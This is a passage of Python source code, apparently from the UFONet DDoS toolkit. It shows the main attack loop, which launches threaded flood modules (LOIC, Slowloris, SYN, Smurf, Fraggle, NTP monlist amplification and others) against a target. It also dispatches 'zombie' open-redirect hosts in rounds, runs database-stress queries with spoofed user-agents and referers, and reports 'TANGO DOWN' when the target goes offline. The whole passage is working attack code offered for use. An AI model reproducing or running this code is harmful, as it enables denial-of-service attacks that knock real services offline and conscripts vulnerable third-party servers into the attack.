  5402. self.t1 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loic, proxy)) # LOIC using threads + proxy
  5403. self.t1.daemon = True # extra weapons are threaded as daemons
  5404. self.t1.start()
  5405. self.update_loic_stats() # add new LOIC attack to mothership stats
  5406. if loris:
  5407. try:
  5408. self.options.loris = int(loris)
  5409. except:
  5410. self.options.loris = 101 # default LORIS requests (apache -> max_clients: ~100 | nginx -> no limit (other method))
  5411. if self.options.loris < 1:
  5412. self.options.loris = 101
  5413. self.instance = LORIS() # instance main class for LORIS operations
  5414. self.t2 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loris)) # LORIS using threads
  5415. self.t2.daemon = True
  5416. self.t2.start()
  5417. self.update_loris_stats() # add new LORIS attack to mothership stats
  5418. if ufosyn:
  5419. try:
  5420. self.options.ufosyn = int(ufosyn)
  5421. except:
  5422. self.options.ufosyn = 100 # default UFOSYN requests
  5423. if self.options.ufosyn < 1:
  5424. self.options.ufosyn = 100
  5425. self.instance = UFOSYN() # instance main class for UFOSYN operations
  5426. self.t3 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufosyn)) # UFOSYN using threads
  5427. self.t3.daemon = True
  5428. self.t3.start()
  5429. self.update_ufosyn_stats() # add new UFOSYN attack to mothership stats
  5430. if spray:
  5431. try:
  5432. self.options.spray = int(spray)
  5433. except:
  5434. self.options.spray = 100 # default SPRAY requests
  5435. if self.options.spray < 1:
  5436. self.options.spray = 100
  5437. self.instance = SPRAY() # instance main class for SPRAY operations
  5438. self.t4 = threading.Thread(target=self.instance.attacking, args=(target, self.options.spray)) # SPRAY using threads
  5439. self.t4.daemon = True
  5440. self.t4.start()
  5441. self.update_spray_stats() # add new SPRAY attack to mothership stats
  5442. if smurf:
  5443. try:
  5444. self.options.smurf = int(smurf)
  5445. except:
  5446. self.options.smurf = 101 # default SMURF requests
  5447. if self.options.smurf < 1:
  5448. self.options.smurf = 101
  5449. self.instance = SMURF() # instance main class for SMURF operations
  5450. self.t5 = threading.Thread(target=self.instance.attacking, args=(target, self.options.smurf)) # SMURF using threads
  5451. self.t5.daemon = True
  5452. self.t5.start()
  5453. self.update_smurf_stats() # add new SMURF attack to mothership stats
  5454. if xmas:
  5455. try:
  5456. self.options.xmas = int(xmas)
  5457. except:
  5458. self.options.xmas = 101 # default XMAS requests
  5459. if self.options.xmas < 1:
  5460. self.options.xmas = 101
  5461. self.instance = XMAS() # instance main class for XMAS operations
  5462. self.t6 = threading.Thread(target=self.instance.attacking, args=(target, self.options.xmas)) # XMAS using threads
  5463. self.t6.daemon = True
  5464. self.t6.start()
  5465. self.update_xmas_stats() # add new XMAS attack to mothership stats
  5466. if nuke:
  5467. if sys.platform == "linux" or sys.platform == "linux2":
  5468. try:
  5469. self.options.nuke = int(nuke)
  5470. except:
  5471. self.options.nuke = 10000 # default NUKE requests
  5472. if self.options.nuke < 1:
  5473. self.options.nuke = 10000
  5474. self.instance = NUKE() # instance main class for NUKE operations
  5475. self.t7 = threading.Thread(target=self.instance.attacking, args=(target, self.options.nuke)) # NUKE using threads
  5476. self.t7.daemon = True # extra weapons are threaded as daemons
  5477. self.t7.start()
  5478. self.update_nuke_stats() # add new NUKE attack to mothership stats
  5479. else:
  5480. print("\n[Info] [AI] Your OS cannot perform this attack... -> [Passing!]\n")
  5481. if tachyon:
  5482. try:
  5483. self.options.tachyon = int(tachyon)
  5484. except:
  5485. self.options.tachyon = 1000 # default TACHYON requests
  5486. if self.options.tachyon < 1:
  5487. self.options.tachyon = 1000
  5488. self.instance = TACHYON() # instance main class for TACHYON operations
  5489. self.t8 = threading.Thread(target=self.instance.attacking, args=(target, self.options.tachyon)) # TACHYON using threads
  5490. self.t8.daemon = True
  5491. self.t8.start()
  5492. self.update_tachyon_stats() # add new TACHYON attack to mothership stats
  5493. if monlist:
  5494. try:
  5495. self.options.monlist = int(monlist)
  5496. except:
  5497. self.options.monlist = 1000 # default MONLIST requests
  5498. if self.options.monlist < 1:
  5499. self.options.monlist = 1000
  5500. self.instance = MONLIST() # instance main class for MONLIST operations
  5501. self.t9 = threading.Thread(target=self.instance.attacking, args=(target, self.options.monlist)) # MONLIST using threads
  5502. self.t9.daemon = True
  5503. self.t9.start()
  5504. self.update_monlist_stats() # add new MONLIST attack to mothership stats
  5505. if ufoack:
  5506. try:
  5507. self.options.ufoack = int(ufoack)
  5508. except:
  5509. self.options.ufoack = 101 # default UFOACK requests
  5510. if self.options.ufoack < 1:
  5511. self.options.ufoack = 101
  5512. self.instance = UFOACK() # instance main class for UFOACK operations
  5513. self.t10 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufoack)) # UFOACK using threads
  5514. self.t10.daemon = True
  5515. self.t10.start()
  5516. self.update_ufoack_stats() # add new UFOACK attack to mothership stats
  5517. if uforst:
  5518. try:
  5519. self.options.uforst = int(uforst)
  5520. except:
  5521. self.options.uforst = 101 # default UFORST requests
  5522. if self.options.uforst < 1:
  5523. self.options.uforst = 101
  5524. self.instance = UFORST() # instance main class for UFORST operations
  5525. self.t11 = threading.Thread(target=self.instance.attacking, args=(target, self.options.uforst)) # UFORST using threads
  5526. self.t11.daemon = True
  5527. self.t11.start()
  5528. self.update_uforst_stats() # add new UFORST attack to mothership stats
  5529. if droper:
  5530. try:
  5531. self.options.droper = int(droper)
  5532. except:
  5533. self.options.droper = 101 # default DROPER requests
  5534. if self.options.droper < 1:
  5535. self.options.droper = 101
  5536. self.instance = DROPER() # instance main class for DROPER operations
  5537. self.t12 = threading.Thread(target=self.instance.attacking, args=(target, self.options.droper)) # DROPER using threads
  5538. self.t12.daemon = True
  5539. self.t12.start()
  5540. self.update_droper_stats() # add new DROPER attack to mothership stats
  5541. if overlap:
  5542. try:
  5543. self.options.overlap = int(overlap)
  5544. except:
  5545. self.options.overlap = 101 # default OVERLAP requests
  5546. if self.options.overlap < 1:
  5547. self.options.overlap = 101
  5548. self.instance = OVERLAP() # instance main class for OVERLAP operations
  5549. self.t13 = threading.Thread(target=self.instance.attacking, args=(target, self.options.overlap)) # OVERLAP using threads
  5550. self.t13.daemon = True
  5551. self.t13.start()
  5552. self.update_overlap_stats() # add new OVERLAP attack to mothership stats
  5553. if pinger:
  5554. try:
  5555. self.options.pinger = int(pinger)
  5556. except:
  5557. self.options.pinger = 101 # default PINGER requests
  5558. if self.options.pinger < 1:
  5559. self.options.pinger = 101
  5560. self.instance = PINGER() # instance main class for PINGER operations
  5561. self.t14 = threading.Thread(target=self.instance.attacking, args=(target, self.options.pinger)) # PINGER using threads
  5562. self.t14.daemon = True
  5563. self.t14.start()
  5564. self.update_pinger_stats() # add new PINGER attack to mothership stats
  5565. if ufoudp:
  5566. try:
  5567. self.options.ufoudp = int(ufoudp)
  5568. except:
  5569. self.options.ufoudp = 101 # default UFOUDP requests
  5570. if self.options.ufoudp < 1:
  5571. self.options.ufoudp = 101
  5572. self.instance = UFOUDP() # instance main class for UFOUDP operations
  5573. self.t15 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufoudp)) # UFOUDP using threads
  5574. self.t15.daemon = True
  5575. self.t15.start()
  5576. self.update_ufoudp_stats() # add new UFOUDP attack to mothership stats
  5577. if fraggle:
  5578. try:
  5579. self.options.fraggle = int(fraggle)
  5580. except:
  5581. self.options.fraggle = 101 # default FRAGGLE requests
  5582. if self.options.fraggle < 1:
  5583. self.options.fraggle = 101
  5584. self.instance = FRAGGLE() # instance main class for FRAGGLE operations
  5585. self.t16 = threading.Thread(target=self.instance.attacking, args=(target, self.options.fraggle)) # FRAGGLE using threads
  5586. self.t16.daemon = True
  5587. self.t16.start()
  5588. self.update_fraggle_stats() # add new FRAGGLE attack to mothership stats
  5589. if sniper:
  5590. try:
  5591. self.options.sniper = int(sniper)
  5592. except:
  5593. self.options.sniper = 101 # default SNIPER requests
  5594. if self.options.sniper < 1:
  5595. self.options.sniper = 101
  5596. self.instance = SNIPER() # instance main class for SNIPER operations
  5597. self.t17 = threading.Thread(target=self.instance.attacking, args=(target, self.options.sniper)) # SNIPER using threads
  5598. self.t17.daemon = True
  5599. self.t17.start()
  5600. self.update_sniper_stats() # add new SNIPER attack to mothership stats
  5601. def stressing(self, target, zombie):
  5602. # perform a DDoS Web attack against a target, requesting records on target's database
  5603. options = self.options
  5604. db_input = self.options.dbstress
  5605. def random_key(length):
  5606. key = ''
  5607. for i in range(length):
  5608. key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
  5609. return key
  5610. # generating random alphanumeric queries
  5611. if self.db_flash > 9: # set db flash start on: 10
  5612. length = 1024 # search a heavy random length query (db flash): 1024
  5613. self.db_flash = 0 # reset db flash counter
  5614. else:
  5615. length = 1 # search for one different (alphanumeric) character each time will produces more positive results on db
  5616. key = str(random_key(length))
  5617. if self.db_flash > 9:
  5618. print("[Info] [AI] [DBStress] Trying database request to: " + db_input + " | Query used: db flash! " + "(" + str(length) + " chars)")
  5619. else:
  5620. print("[Info] [AI] [DBStress] Trying database request to: " + db_input + " | Query used: " + key)
  5621. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  5622. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  5623. if not target.endswith('/'): # add "/" to end of target
  5624. target = target + "/"
  5625. url = zombie + target + db_input + key
  5626. req = urllib.request.Request(url, None, headers)
  5627. if options.proxy: # set proxy
  5628. self.proxy_transport(options.proxy)
  5629. try:
  5630. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  5631. except urllib.error.HTTPError as e:
  5632. if e.code == 401:
  5633. print('[Info] [AI] [DBStress] Not authorized')
  5634. elif e.code == 404:
  5635. print('[Info] [AI] [DBStress] Not found')
  5636. elif e.code == 503:
  5637. print('[Info] [AI] [DBStress] Service unavailable')
  5638. else:
  5639. print('[Info] [AI] [DBStress] Unknown error')
  5640. else:
  5641. print('[Info] [AI] [DBStress] Database query: HIT!')
  5642. def attackme(self, zombies):
  5643. # perform a DDoS Web attack against yourself
  5644. print("[AI] Starting local port to listening at: " + self.port + "\n")
  5645. print('='*21 + "\n")
  5646. self.doll=Doll(self)
  5647. self.doll.start()
  5648. while not self.doll._armed:
  5649. time.sleep(1)
  5650. # send Open Redirect injection (multiple zombies-multiple target urls)
  5651. target = ""
  5652. self.injection(target, zombies)
  5653. self.doll.shutdown()
  5654. self.doll.join()
  5655. self.herd.list_fails()
  5656. def check_target_status(self):
  5657. if self.num_is_down > 0 and self.num_is_up == 0: # check for: 1 or more down, 0 up
  5658. print("\n[Info] [AI] Congratulations!! -> [Target looks OFFLINE!]\n")
  5659. if not self.options.forceyes:
  5660. update_reply = input("[AI] Do you want to send a [HEAD] check request? (y/N)")
  5661. print("\n" + '-'*25)
  5662. else:
  5663. update_reply = "N"
  5664. if update_reply == "y" or update_reply == "Y":
  5665. try: # send HEAD connection
  5666. self.head = True
  5667. reply = self.connect_zombie(target)
  5668. self.head = False
  5669. if reply:
  5670. print("\n[Info] [AI] [Control] Target has replied you! -> [Keep shooting!]\n")
  5671. else:
  5672. print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
  5673. self.update_targets_crashed() # update targets crashed stats
  5674. self.update_mothership_stats() # update mothership completed attack stats
  5675. except Exception:
  5676. print("\n[Error] [AI] Something wrong with your connection!...\n")
  5677. if DEBUG == True:
  5678. traceback.print_exc()
  5679. return
  5680. else:
  5681. print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
  5682. self.update_targets_crashed() # update targets crashed stats
  5683. self.update_mothership_stats() # update mothership completed attack stats
  5684. return
  5685. def starting_target_check(self, target, head_check):
  5686. options = self.options
  5687. head_check_here = False
  5688. head_check_external = False
  5689. if options.disablehead: # check at start is disabled (skipping!)
  5690. print("[Info] [AI] Skipping external check...\n")
  5691. head_check_here = True
  5692. head_check_external = True
  5693. else:
  5694. if head_check:
  5695. if not options.attackme:
  5696. print("[AI] Launching: 'Is target up?' check...\n")
  5697. try: # send HEAD connection
  5698. self.head = True
  5699. reply = self.connect_zombie(target)
  5700. self.head = False
  5701. if reply:
  5702. print("[Info] [AI] [Control] From YOU: YES -> ["+str(reply)+"-OK]")
  5703. head_check_here = True
  5704. else:
  5705. print("[Info] [AI] [Control] From YOU: NO -> [Target looks OFFLINE!]")
  5706. head_check_here = False
  5707. except Exception:
  5708. print("[Error] [AI] [Control] From YOU: NO -> [Cannot connect!]")
  5709. if DEBUG == True:
  5710. traceback.print_exc()
  5711. head_check_here = False
  5712. else: # check if local IP/PORT is listening on mothership
  5713. print("[AI] Launching: 'Is NAT ready?' check...\n")
  5714. try:
  5715. sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
  5716. result = sock.connect_ex(('0.0.0.0',8080))
  5717. if result == 0 or result == 110: # black magic
  5718. print("[Info] [AI] [Control] Local port: YES | Mothership accesible from -private- IP: http://0.0.0.0:8080")
  5719. head_check_here = True
  5720. else:
  5721. print("[Info] [AI] [Control] Local port: NO | Something goes wrong with your port: 8080")
  5722. head_check_here = False
  5723. except Exception:
  5724. print("[Error] [AI] [Control] Local port: NO | Something wrong checking for open ports...")
  5725. if DEBUG == True:
  5726. traceback.print_exc()
  5727. head_check_here = False
  5728. else:
  5729. head_check_here = True
  5730. # check target using external check services
  5731. self.external = True
  5732. if not options.attackme:
  5733. try:
  5734. target = self.parse_url_encoding(target) # parse for proper url encoding
  5735. if target.startswith("http://"):
  5736. target = target.replace("http://", "")
  5737. else:
  5738. target = target.replace("https://", "")
  5739. try:
  5740. url = self.external_check_service1 + target # check from external service [1] [23/07/2022]
  5741. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  5742. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  5743. if options.proxy: # set proxy
  5744. self.proxy_transport(options.proxy)
  5745. req = urllib.request.Request(url, None, headers)
  5746. external_reply = urllib.request.urlopen(req, context=self.ctx).read()
  5747. if b"is UP and reachable" in external_reply:
  5748. t = urlparse(self.external_check_service1)
  5749. name_external1 = t.netloc
  5750. print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external1+"]")
  5751. head_check_external = True
  5752. except:
  5753. url = self.external_check_service2 + target # check from external service [2]
  5754. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  5755. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  5756. if options.proxy: # set proxy
  5757. self.proxy_transport(options.proxy)
  5758. req = urllib.request.Request(url, None, headers)
  5759. try:
  5760. req_reply = urllib.request.urlopen(req, context=self.ctx).read()
  5761. if b"Currently Up" in req_reply:
  5762. t = urlparse(self.external_check_service2)
  5763. name_external2 = t.netloc
  5764. print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external2+"]")
  5765. head_check_external = True
  5766. else:
  5767. print("[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]")
  5768. head_check_external = False
  5769. except urllib.error.HTTPError as e:
  5770. if e:
  5771. print("[Error] [AI] [Control] [ "+ self.external_check_service2 +" ] isn't replying to your requests! -> [Passing!]")
  5772. print ("[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]")
  5773. head_check_external = False
  5774. except Exception:
  5775. print("[Error] [AI] [Control] From OTHERS: NO -> [Cannot connect!]")
  5776. if DEBUG == True:
  5777. traceback.print_exc()
  5778. head_check_external = False
  5779. else:
  5780. try: # check mothership from public ip / NAT using HEAD request
  5781. try:
  5782. req = urllib.request.Request(str(self.pub_ip+":8080"), method="HEAD")
  5783. reply = urllib.request.urlopen(req)
  5784. except Exception:
  5785. reply = None
  5786. if reply:
  5787. print("[Info] [AI] [Control] From OTHERS: YES -> [Mothership OK!] -> ["+str(self.pub_ip)+":8080]")
  5788. head_check_external = True
  5789. else:
  5790. print("\n[Error] [AI] [Control] From OTHERS: NO -> [Cannot connect!] -> [NAT is failing!]")
  5791. head_check_external = False
  5792. head_check_here = False # stop attack if not public IP available
  5793. except Exception:
  5794. print("[Error] [AI] [Control] From OTHERS: NO -> [Check failed!]")
  5795. head_check_here = False # stop attack if not public IP available
  5796. if DEBUG == True:
  5797. traceback.print_exc()
  5798. head_check_external = False
  5799. self.external = False
  5800. return head_check_here, head_check_external
  5801. def injection(self, target, zombies, head_check = True):
  5802. options = self.options
  5803. # check target's integrity at start
  5804. head_check_here, head_check_external = self.starting_target_check(target, head_check)
  5805. # ask user to confirm the attack
  5806. if head_check_here == True or head_check_external == True:
  5807. if not self.options.forceyes:
  5808. if not options.attackme:
  5809. if not options.disablehead:
  5810. start_reply = input("\n[AI] Target is ONLINE!. Do you want to start an attack? (y/N)\n")
  5811. else:
  5812. start_reply = input("[AI] Do you want to start an attack, directly? (y/N)\n")
  5813. else:
  5814. if not options.disablehead:
  5815. start_reply = input("\n[AI] Mothership is READY!. Do you want to start an attack 'against yourself'? (y/N)\n")
  5816. else:
  5817. start_reply = input("[AI] Do you want to start an attack 'against yourself', directly? (y/N)\n")
  5818. else:
  5819. start_reply = "Y"
  5820. if start_reply == "y" or start_reply == "Y":
  5821. if options.attackme:
  5822. total_rounds = 2 # default rounds for attackme
  5823. else:
  5824. total_rounds = options.rounds # extract number of rounds
  5825. try:
  5826. total_rounds = int(total_rounds)
  5827. except:
  5828. total_rounds = 1
  5829. if not total_rounds:
  5830. total_rounds = 1
  5831. if total_rounds <= 0:
  5832. total_rounds = 1
  5833. self.herd.cleanup()
  5834. num_round = 1
  5835. num_hits = 0
  5836. num_zombie = 1
  5837. # start to attack the target with [MODS]
  5838. if options.loic or options.loris or options.ufosyn or options.spray or options.smurf or options.fraggle or options.xmas or options.ufoack or options.uforst or options.droper or options.overlap or options.pinger or options.ufoudp or options.nuke or options.tachyon or options.monlist or options.sniper:
  5839. ex = threading.Thread(target=self.aiming_extra_weapons, args=(target, self.options.proxy, self.options.loic, self.options.loris, self.options.ufosyn, self.options.spray, self.options.smurf, self.options.fraggle, self.options.xmas, self.options.ufoack, self.options.uforst, self.options.droper, self.options.overlap, self.options.pinger, self.options.ufoudp, self.options.nuke, self.options.tachyon, self.options.monlist, self.options.sniper)) # multithreading flow for extra attacks
  5840. ex.daemon = True # extra weapons are threaded as daemons
  5841. ex.start()
  5842. # start to attack the target with [ARMY]
  5843. zombies = self.extract_zombies() # extract zombies from file
  5844. if zombies:
  5845. self.total_zombie = len(zombies)
  5846. else:
  5847. self.total_zombie = 0
  5848. return
  5849. self.herd=Herd(self)
  5850. if not self.options.disablepurge:
  5851. self.discardzombies = []
  5852. self.discard_aliens = []
  5853. self.discard_droids = []
  5854. self.discard_rpcs = []
  5855. self.discard_ucavs = []
  5856. total_disc_zombies = 0
  5857. self.num_discard_zombies = 0
  5858. self.num_discard_aliens = 0
  5859. self.num_discard_droids = 0
  5860. self.num_discard_rpcs = 0
  5861. self.num_discard_ucavs = 0
  5862. self.empty_zombies = False
  5863. for i in range(0, int(total_rounds)): # start attacking using rounds
  5864. print ("\x1b[2J\x1b[H")# clear screen (black magic)
  5865. print('='*42)
  5866. print('Starting round:', num_round, ' of ', total_rounds)
  5867. print('='*42)
  5868. self.herd.reset()
  5869. self.extra_zombies_lock = True
  5870. self.total_zombies_failed_connection = 0 # reset failed [Zombies] connection counter each round
  5871. self.send_zombies(zombies) # send [Zombies]
  5872. if not self.options.attackme:
  5873. if not self.options.disablealiens or not self.options.disabledroids or not self.options.disablerpcs or not self.options.disableucavs:
  5874. if self.options.verbose:
  5875. print("[Info] [AI] [Control] All [Zombies] have returned for this round... -> [Waiting!]")
  5876. self.send_extra_zombies() # send [ARMY]
  5877. while self.extra_zombies_lock == True:
  5878. time.sleep(1) # wait for [ARMY] to return
  5879. if self.options.verbose:
  5880. print("\n" + '='*42)
  5881. print("\n[Info] [AI] [Control] Full [ARMY] has returned for this round! -> [Refolding!]")
  5882. else:
  5883. zombies_lock = 0
  5884. if self.options.expire: # set timing for purge
  5885. try:
  5886. timing = int(self.options.expire)
  5887. except:
  5888. timing = self.expire_timing # default timing for purge
  5889. else:
  5890. timing = self.expire_timing # default timing for purge
  5891. if timing < 1:
  5892. timing = self.expire_timing # default timing for purge
  5893. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  5894. while self.herd.no_more_zombies() == False: # waiting for [Zombies] to return
  5895. zombies_lock = zombies_lock + 1
  5896. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  5897. if self.options.verbose:
  5898. print("[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
  5899. break
  5900. else:
  5901. time.sleep(1)
  5902. if self.options.verbose:
  5903. print("\n" + '='*42)
  5904. print("\n[Info] [AI] [Control] All [Zombies] have returned for this round! -> [Refolding!]")
  5905. if not self.options.attackme and not self.options.disableucavs: # check for target's status returned by [UCAVs]
  5906. self.check_target_status()
  5907. if not self.options.attackme and not self.options.disablepurge: # enable [Zombies] purge round check
  5908. self.abandoning_zombies() # check for abandoning zombies
  5909. for zombie in self.herd.done: # check for num hits
  5910. if self.herd.connection_failed(zombie) == False:
  5911. num_hits = num_hits + 1
  5912. num_zombie = num_zombie + 1
  5913. if num_zombie > self.total_zombie:
  5914. num_zombie = 1
  5915. if not self.options.attackme and not self.options.disablescanner: # perform a broadband test on target
  5916. check_is_loading = self.check_is_loading(target)
  5917. self.herd.dump_html()
  5918. if not self.options.disablepurge:
  5919. if self.empty_zombies == True:
  5920. break # exit routine when not any more zombies
  5921. num_round = num_round + 1
  5922. if self.options.verbose:
  5923. print("\n" + '='*42)
  5924. print("\n[Info] [AI] This battle is over! -> [Reporting!]")
  5925. if self.options.loic: # try to stop daemons/threads for extra weapons
  5926. self.t1.join()
  5927. if self.options.loris:
  5928. self.t2.join()
  5929. if self.options.ufosyn:
  5930. self.t3.join()
  5931. if self.options.spray:
  5932. self.t4.join()
  5933. if self.options.smurf:
  5934. self.t5.join()
  5935. if self.options.xmas:
  5936. self.t6.join()
  5937. if self.options.nuke:
  5938. self.t7.join()
  5939. if self.options.tachyon:
  5940. self.t8.join()
  5941. if self.options.monlist:
  5942. self.t9.join()
  5943. if self.options.ufoack:
  5944. self.t10.join()
  5945. if self.options.uforst:
  5946. self.t11.join()
  5947. if self.options.droper:
  5948. self.t12.join()
  5949. if self.options.overlap:
  5950. self.t13.join()
  5951. if self.options.pinger:
  5952. self.t14.join()
  5953. if self.options.ufoudp:
  5954. self.t15.join()
  5955. if self.options.fraggle:
  5956. self.t16.join()
  5957. if self.options.sniper:
  5958. self.t17.join()
  5959. if self.options.target_list:
  5960. self.num_target_list = self.num_target_list - 1 # num_target_list = 0 provokes exit!
  5961. print ("\x1b[2J\x1b[H") # black magic
  5962. if not self.options.attackme: # show herd results
  5963. self.herd.dump()
  5964. else: # show doll results
  5965. print('='*21)
  5966. print("\n[Info] [AI] Mothership transmission...\n")
  5967. num_real_zombies = len(self.doll.real_zombies)
  5968. print("[Info] [AI] Total of [Zombies] that are 100% vulnerable to Open Redirect (CWE-601): " + str(num_real_zombies) + "\n")
  5969. for z in self.doll.real_zombies: # show only alien verified zombies
  5970. for x in z:
  5971. print(" - " + str(x))
  5972. self.herd.dump_html(True) # show (all) zombies statistics
  5973. if not self.options.attackme:
  5974. if not self.options.disablepurge:
  5975. print("\n[Info] [AI] Report completed! -> [Purging!]\n")
  5976. else:
  5977. if not options.target_list:
  5978. print("\n[Info] [AI] Report completed! -> [Exiting!]\n")
  5979. else:
  5980. print("\n[Info] [AI] Report completed! -> [OK!]\n")
  5981. self.update_mothership_stats() # update mothership stats
  5982. if not self.options.disablepurge:
  5983. print('='*21+ "\n")
  5984. total_disc_zombies = self.num_discard_zombies + self.num_discard_aliens + self.num_discard_droids + self.num_discard_rpcs + self.num_discard_ucavs
  5985. if total_disc_zombies > 0 and total_disc_zombies < 2:
  5986. print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] unit that isn't working as expected...\n")
  5987. elif total_disc_zombies > 1:
  5988. print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] units that aren't working as expected...\n")
  5989. if self.num_discard_zombies > 0:
  5990. print(" + Zombies: ["+ str(self.num_discard_zombies)+"]")
  5991. if self.num_discard_aliens > 0:
  5992. print(" + Aliens : ["+ str(self.num_discard_aliens)+"]")
  5993. if self.num_discard_droids > 0:
  5994. print(" + Droids : ["+ str(self.num_discard_droids)+"]")
  5995. if self.num_discard_rpcs > 0:
  5996. print(" + X-RPCs : ["+ str(self.num_discard_rpcs)+"]")
  5997. if self.num_discard_ucavs > 0:
  5998. print(" + UCAVs : ["+ str(self.num_discard_ucavs)+"]")
  5999. if total_disc_zombies > 0:
  6000. if not self.options.forceyes:
  6001. if total_disc_zombies > 0 and total_disc_zombies < 2:
  6002. backup_reply = input("\n[AI] Do you want to purge it from your files? (Y/n)\n")
  6003. elif total_disc_zombies > 1:
  6004. backup_reply = input("\n[AI] Do you want to purge them from your files? (Y/n)\n")
  6005. else:
  6006. backup_reply = "Y"
  6007. if backup_reply == "y" or backup_reply == "Y":
  6008. print("\n[Info] [AI] Purging failed units from files...\n")
  6009. discarded = []
  6010. if self.num_discard_zombies > 0:
  6011. for z in self.discardzombies:
  6012. discarded.append(z)
  6013. print(" + [Info] [Zombies] "+z+" -> [Purged!]")
  6014. if self.num_discard_aliens > 0:
  6015. for a in self.discard_aliens:
  6016. discarded.append(a)
  6017. print(" + [Info] [Aliens] "+a+" -> [Purged!]")
  6018. if self.num_discard_droids > 0:
  6019. for d in self.discard_droids:
  6020. discarded.append(d)
  6021. print(" + [Info] [Droids] "+d+" -> [Purged!]")
  6022. if self.num_discard_rpcs > 0:
  6023. for r in self.discard_rpcs:
  6024. discarded.append(r)
  6025. print(" + [Info] [X-RPCs] "+r+" -> [Purged!]")
  6026. if self.num_discard_ucavs > 0:
  6027. for u in self.discard_ucavs:
  6028. discarded.append(u)
  6029. print(" + [Info] [UCAVs] "+u+" -> [Purged!]")
  6030. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  6031. if disc_zombies > 0 and disc_zombies < 2:
  6032. print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] unit! -> [OK!]\n")
  6033. elif disc_zombies > 1:
  6034. print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] units! -> [OK!]\n")
  6035. if not self.options.target_list:
  6036. print('-'*21+ "\n")
  6037. print("[AI] "+self.exit_msg+"\n")
  6038. if not self.options.web:
  6039. return
  6040. else:
  6041. if self.num_target_list > 0: # still more targets
  6042. print('-'*21+ "\n")
  6043. print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]\n")
  6044. return
  6045. else: # finish attack from multiple targets
  6046. print('-'*21+ "\n")
  6047. print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]")
  6048. print("\n"+ '='*21+ "\n")
  6049. print("[Info] [AI] All your battles have ended! -> [Exiting!]")
  6050. print("\n"+ '-'*21+ "\n")
  6051. print("[AI] "+self.exit_msg+"\n")
  6052. if not self.options.web:
  6053. return
  6054. else:
  6055. if num_real_zombies < 1: # not any 100% vulnerable zombie found
  6056. print("\n[Info] [AI] [Control] Not any 100% vulnerable zombie found! -> [Exiting!]\n")
  6057. if os.path.exists('mothership') == True:
  6058. os.remove('mothership') # remove mothership stream
  6059. if os.path.exists('alien') == True:
  6060. os.remove('alien') # remove random alien worker
  6061. if not options.web:
  6062. sys.exit(2) # exit
  6063. else:
  6064. return
  6065. else:
  6066. print("\n" + '='*21)
  6067. AI_reply = input("\n[AI] Do you prefer a 'fortune' cookie instead? (y/N)\n")
  6068. if AI_reply == "y" or AI_reply == "Y":
  6069. self.AI() # AI fortune cookie
  6070. print('-'*21+ "\n")
  6071. print("\n[AI] "+self.exit_msg+"\n")
  6072. if os.path.exists('mothership') == True:
  6073. os.remove('mothership') # remove mothership stream
  6074. if os.path.exists('alien') == True:
  6075. os.remove('alien') # remove random alien worker
  6076. if not options.web:
  6077. sys.exit(2) # exit
  6078. else:
  6079. return
  6080. else:
  6081. if not options.attackme:
  6082. print("\n[Info] [AI] "+target+" -> [Target looks OFFLINE!]")
  6083. else:
  6084. print("\n[Error] [AI] NAT is not working correctly! -> [Exiting!]")
  6085. print("\n" + '-'*21)
  6086. print("\n[AI] "+self.exit_msg+"\n")
  6087. if os.path.exists('mothership') == True:
  6088. os.remove('mothership') # remove mothership stream
  6089. if os.path.exists('alien') == True:
  6090. os.remove('alien') # remove random alien worker
  6091. return
  6092. if __name__ == "__main__":
  6093. app = UFONet()
  6094. options = app.create_options()
  6095. if options:
  6096. app.run()